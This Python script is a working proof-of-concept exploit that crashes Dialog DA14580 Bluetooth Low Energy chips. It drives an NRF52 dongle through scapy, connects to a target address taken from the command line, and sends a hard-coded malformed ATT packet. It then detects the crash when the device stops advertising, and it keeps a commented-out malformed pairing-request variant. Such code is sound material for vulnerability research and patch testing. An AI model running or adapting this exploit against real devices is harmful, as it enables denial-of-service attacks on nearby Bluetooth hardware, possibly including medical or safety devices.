DA14580_exploit_att_crash.py

#!/usr/bin/python 
import sys
import os
import platform
from time import sleep
from threading import Timer
# libs
sys.path.insert(0,os.getcwd() + '/libs')
import serial
import colorama
from colorama import Fore
from drivers.NRF52_dongle import NRF52Dongle
from scapy.layers.bluetooth4LE import *
from scapy.layers.bluetooth import *
from scapy.utils import wrpcap
from scapy.compat import raw

none_count = 0
slave_connected = False
send_version_ind = False
end_connection = False

def send(scapy_pkt, print_tx=True):
	driver.raw_send(raw(scapy_pkt))
	if print_tx:
		print(Fore.CYAN + "TX ---> " + scapy_pkt.summary()[7:])

# Autoreset colors
colorama.init(autoreset=True)

# Get serial port from command line
if len(sys.argv) >= 2:
	serial_port = sys.argv[1]
elif platform.system() == 'Linux':
	serial_port = '/dev/ttyACM0'
elif platform.system() == 'Windows':
	serial_port = 'COM1'
else:
	print(Fore.RED + 'Platform not identified')
	sys.exit(0)

print(Fore.YELLOW + 'Serial port: ' + serial_port)

# Get advertiser_address from command line (peripheral addr)
if len(sys.argv) >= 3:
	advertiser_address = sys.argv[2].upper()
else:
	advertiser_address = '80:ea:ca:00:00:03'.upper()

print(Fore.YELLOW + 'Advertiser Address: ' + advertiser_address.upper())

def crash_timeout():
	print(Fore.RED + "No advertisement from " + advertiser_address.upper() + 
		' received\nThe device may have crashed!!!')
	exit(0)

def scan_timeout():
	if not slave_connected:
		scan_req = BTLE() / BTLE_ADV() / BTLE_SCAN_REQ(
				ScanA=master_address,
				AdvA=advertiser_address)
		send(scan_req)

	timeout_scan = Timer(3, scan_timeout)
	timeout_scan.daemon = True
	timeout_scan.start()


# Default master address
master_address = '5d:36:ac:90:0b:22'
access_address = 0x9a328370
# Open serial port of NRF52 Dongle
driver = NRF52Dongle(serial_port, '115200')
# Send scan request
scan_req = BTLE() / BTLE_ADV() / BTLE_SCAN_REQ(
            ScanA=master_address,
            AdvA=advertiser_address)
send(scan_req)


timeout = Timer(7.0, crash_timeout)
timeout.daemon = True
timeout.start()

timeout_scan = Timer(3, scan_timeout)
timeout_scan.daemon = True
timeout_scan.start()

print(Fore.YELLOW + 'Waiting advertisements from ' + advertiser_address)
while True:
	pkt = None
	# Receive packet from the NRF52 Dongle
	data = driver.raw_receive()
	if data:
		# Decode Bluetooth Low Energy Data
		pkt = BTLE(data)
		# if packet is incorrectly decoded, you may not be using the dongle
		if pkt is None:
			none_count += 1
			if none_count >= 4:
				print(Fore.RED + 'NRF52 Dongle not detected')
				sys.exit(0)
			continue
		elif slave_connected and BTLE_EMPTY_PDU not in pkt:
			# Print slave data channel PDUs summary
			print(Fore.MAGENTA + "Slave RX <--- " + pkt.summary()[7:])
		# --------------- Process Link Layer Packets here ------------------------------------
		# Check if packet from advertised is received
		if pkt and (BTLE_SCAN_RSP in pkt) and pkt.AdvA == advertiser_address.lower():
			timeout.cancel()
			print(Fore.GREEN + advertiser_address.upper() + ': ' + pkt.summary()[7:] + ' Detected')
    		# Send connection request to advertiser
			conn_request = BTLE() / BTLE_ADV(RxAdd=pkt.TxAdd, TxAdd=0) / BTLE_CONNECT_REQ(
            InitA=master_address,
            AdvA=advertiser_address,
            AA=access_address, # Access address (any)
            crc_init=0x179a9c, # CRC init (any)
            win_size=2, # 2.5 of windows size (anchor connection window size)
            win_offset=1, # 1.25ms windows offset (anchor connection point)
            interval=16,  # 20ms connection interval
            latency=0, # Slave latency (any)
            timeout=50, # Supervision timeout, 500ms (any)
            chM=0x1FFFFFFFFF, # Any
            hop=5, # Hop increment (any)
            SCA=0, # Clock tolerance
        	)
    		# Yes, we're sending raw link layer messages in Python. Don't tell anyone as this is forbidden!!!		
			send(conn_request)
		elif not slave_connected and BTLE_EMPTY_PDU in pkt:
			slave_connected = True
			print(Fore.GREEN + 'Slave Connected (L2Cap channel established)')
			length_req = BTLE('7083329a02070000040010edea874aac'.decode('hex')) # att
			# length_req = BTLE('7083329a06ba070006000c03f5fa100fbbcfb5a6'.decode('hex')) # pairing request	
			send(length_req)			
			end_connection = True
			wrpcap('DA14580_exploit_att_crash.pcap', NORDIC_BLE(board=75, protocol=2, flags=0x3) / length_req) # save packet just sent

		elif LL_LENGTH_REQ in pkt:
			length_rsp = BTLE(access_addr=access_address) / BTLE_DATA() / CtrlPDU() / LL_LENGTH_RSP(
			max_tx_bytes=247+4, max_rx_bytes=247+4)		
			send(length_rsp) # Send a normal length response
		elif end_connection == True:
			end_connection = False
			slave_connected = False
			scan_req = BTLE() / BTLE_ADV() / BTLE_SCAN_REQ(
			ScanA=master_address,
			AdvA=advertiser_address)
			print(Fore.YELLOW + 'Connection reset, malformed packet was sent')
			# Yes, we're sending raw link layer messages in Python. Don't tell anyone as this is forbidden!!!		
			# send(scan_req, print_tx=False)
 			print(Fore.YELLOW + 'Waiting advertisements from ' + advertiser_address)
 			send(scan_req)

	sleep(0.01)